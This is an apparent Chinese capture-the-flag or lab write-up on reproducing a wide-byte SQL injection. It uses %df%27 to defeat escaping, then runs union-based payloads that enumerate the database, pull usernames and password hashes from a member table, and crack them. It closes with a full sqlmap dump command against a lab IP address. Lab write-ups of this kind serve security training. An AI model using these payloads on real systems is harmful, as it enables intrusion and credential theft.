漏洞复现
手工注入
原理:就是用%df去吃掉转义字符 / ,然后就可以正常注入了
思路:还是一样找注入点,过一下,就是找页面源码找注入点,然后什么get啊post什么xff什么的都试试,最后是宽字节的,所以按照题设就是在可能出现注入的页面加上 %df%27(%27 就是 ’)
然后会发现报错,然后开始一步步注入咯
然后就%df%27咯,发现注入点
后面都要进行url编码
order by 从1开始试(order by 1 --+),直到6发现错误
然后就是用union去找显示的点(union select 1,2,3,4,5 --+),发现3,5是显示的点,别忘了把id=1 换成-1(union 会把结果拼拼到一起,所有要让 union 前面的查询返回一个空值,一般采用类似于 id=-1 的方式。)
然后就是找版本和数据库了嘛
union select 1,2,version(),4,database()--+
数据库名这些要用Ascll编码,这里可以使用brup的decoder模块
union 1,2,version(),4,(select group_concat(table_name) from information_schema.tables where table_schema =0x6d6f7a68655f64697363757a5f73746f726d67726f7570)--+
接下来爆表字段
这里stormgroup_member表比较像我们要用的表
最后是看数据
union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+
进行md5解密,找到第二个账号可获得key
sqlmap注入
1后面记得添加%df%27,并且不用用–batch参数,自己手动选择
sqlmap -u "124.70.71.251:42544/new_list.php?id=1%df%27" --dbs -D mozhe_discuz_stormgroup --tables -T stormgroup_member --columns -C name,password --dump